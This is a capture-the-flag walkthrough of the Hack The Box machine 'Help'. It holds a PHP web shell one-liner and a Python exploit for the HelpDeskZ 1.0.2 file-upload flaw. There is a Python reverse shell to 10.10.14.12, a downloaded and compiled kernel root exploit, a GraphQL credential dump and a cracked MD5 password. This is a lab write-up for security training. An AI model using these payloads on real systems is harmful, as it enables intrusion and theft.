HTB – Help

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.4 ( at 2019-01-23 08:22:00 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on
Discovered open port 80/tcp on
Discovered open port 3000/tcp on

masscan finds three open ports. Let’s do one better with nmap scanning the discovered ports.

# nmap -n -v -Pn -p22,80,3000 -A --reason -oN nmap.txt
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http    syn-ack ttl 63 Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).

We have two http services in the form of Apache and Node.js. This is how they look like.



The default Apache page suggests more enumeration needs to be done.

Directory/File Enumeration

Let’s fuzz it with gobuster and DirBuster’s wordlist just to see what we’ll get.

# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 50 -e -u

Gobuster v2.0.0              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 50
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
2019/01/23 08:34:06 Starting gobuster
===================================================== (Status: 301) (Status: 301)
2019/01/23 08:39:48 Finished

I think I’ve seen enough. Let’s pay /support a visit.


Well, well, well. What do we have here? This must be our first attack surface.

HelpDeskZ 1.0.2 – Unauthenticated Arbitrary File Upload

Searching Google for an exploit in HelpDeskZ led me to EDB-ID 40300. Anyway, it looks like the site is running the vulnerable version.


According to the exploit, HelpDeskZ suffers from an unauthenticated arbitrary file upload vulnerability where the software allows file attachment with ticket submission. The minor problem lies with determining the filename of the uploaded file. However, because the eventual file name depends on the time the file was uploaded, we can make an educated guess of the timestamp by shaving a couple of seconds from the current time.

Let’s submit a fake ticket and attach test.php, which is nothing more than the following PHP code.

<?php echo shell_exec($_GET[0]); ?>



Hmm. It says “File is not allowed”. Is that so? Let’s take a look at the source code controlling this behavior.

if(!isset($error_msg) && $settings['ticket_attachment']==1){
  $uploaddir = UPLOAD_DIR.'tickets/';   
  if($_FILES['attachment']['error'] == 0){
    $ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
    $filename = md5($_FILES['attachment']['name'].time()).".".$ext;
    $fileuploaded[] = array('name' => $_FILES['attachment']['name'], 'enc' => $filename, 'size' => formatBytes($_FILES['attachment']['size']), 'filetype' => $_FILES['attachment']['type']);
    $uploadedfile = $uploaddir.$filename;
    if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
      $show_step2 = true;
      $error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
      $fileverification = verifyAttachment($_FILES['attachment']);
        case '1':
        $show_step2 = true;
        $error_msg = $LANG['INVALID_FILE_EXTENSION'];
        case '2':
        $show_step2 = true;
        $error_msg = $LANG['FILE_NOT_ALLOWED'];
        case '3':
        $show_step2 = true;
        $error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']);

Two things worth nothing here. First of all, the final upload directory ends with tickets/. Second, regardless of the file verification results, the submission will ALWAYS progress to step 2 after the file has been uploaded.

In the words of POTUS: Fake News!

Where is the upload directory? If I have to guess, I would say the actual upload directory is like this:

I cheated a bit. I actually enumerated the site for directories at a deeper level. :laughing:

Now, let’s re-purpose the exploit code and make it more adaptive to file extensions.
Usage: python test.php

import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
extension = fileName.split(".")[-1]

currentTime = int(time.time())

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl + md5hash + '.' + extension
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url

print "Sorry, I did not find anything"

Armed with the insight gleaned from the source code, let’s upload again and find out where it’s uploaded to.

c:\PENTEST>python test.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit




Let’s urlencode the following reverse shell in Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);',subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.12%22,9001));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);[%22/bin/sh%22,%22-i%22]);%27

Privilege Escalation

On enumerating the box the kernel version is found to be 4.4.0-116-generic. A google search results in a kernel exploit for the version.
Start a simple http server and transfer it to the box then execute it.

help@help:/tmp$ wget
--2019-08-29 04:40:29--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 5777 (5.6K) [text/plain]
Saving to: ‘44298.c’

44298.c 100%[====================>] 5.64K --.-KB/s in 0s

2019-08-29 04:40:29 (162 MB/s) - ‘44298.c’ saved [5777/5777]
help@help:/tmp$ gcc 44298.c -o exploit
help@help:/tmp$ chmod +x exploit
help@help:/tmp$ whoami
help@help:/tmp$ ./exploit
task_struct = ffff880038a29c00
uidptr = ffff88003bcb2c04
spawning root shell
root@help:/tmp# cd /
root@help:/# cd root
root@help:/root# ls
root@help:/root# cat root.txt


I was intrigued by the message that there’s a way to retrieve credentials by providing the right query. Turns out the Node.js service was running GraphQL, an open-source data query and manipulation language for APIs. I’m not  familiar with GraphQL so this is an excellent opportunity to learn something about it.

root@kali:~/htb# apt-get install jq
root@kali:~/htb# curl -s -G --data-urlencode "query={user}" | jq
"errors": [
"message": "Field \"user\" of type \"User\" must have a selection of subfields. Did you mean \"user { ... }\"?",
"locations": [
"line": 1,
"column": 2
root@kali:~/htb# curl -s -G --data-urlencode 'query={user {username} }' | jq
"data": {
"user": {
"username": ""
root@kali:~/htb# curl -s -G --data-urlencode 'query={user {username, password} }' | jq
"data": {
"user": {
"username": "",
"password": "5d3c93182bb20f07b994a7f617e99cff"

or with Burp

I cracked the MD5 password with

5d3c93182bb20f07b994a7f617e99cff MD5 godhelpmeplz

note:for the file upload exploit to work i had to change the timezone

credits to :

Author: Jacco Straathof

Geplaatst op

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *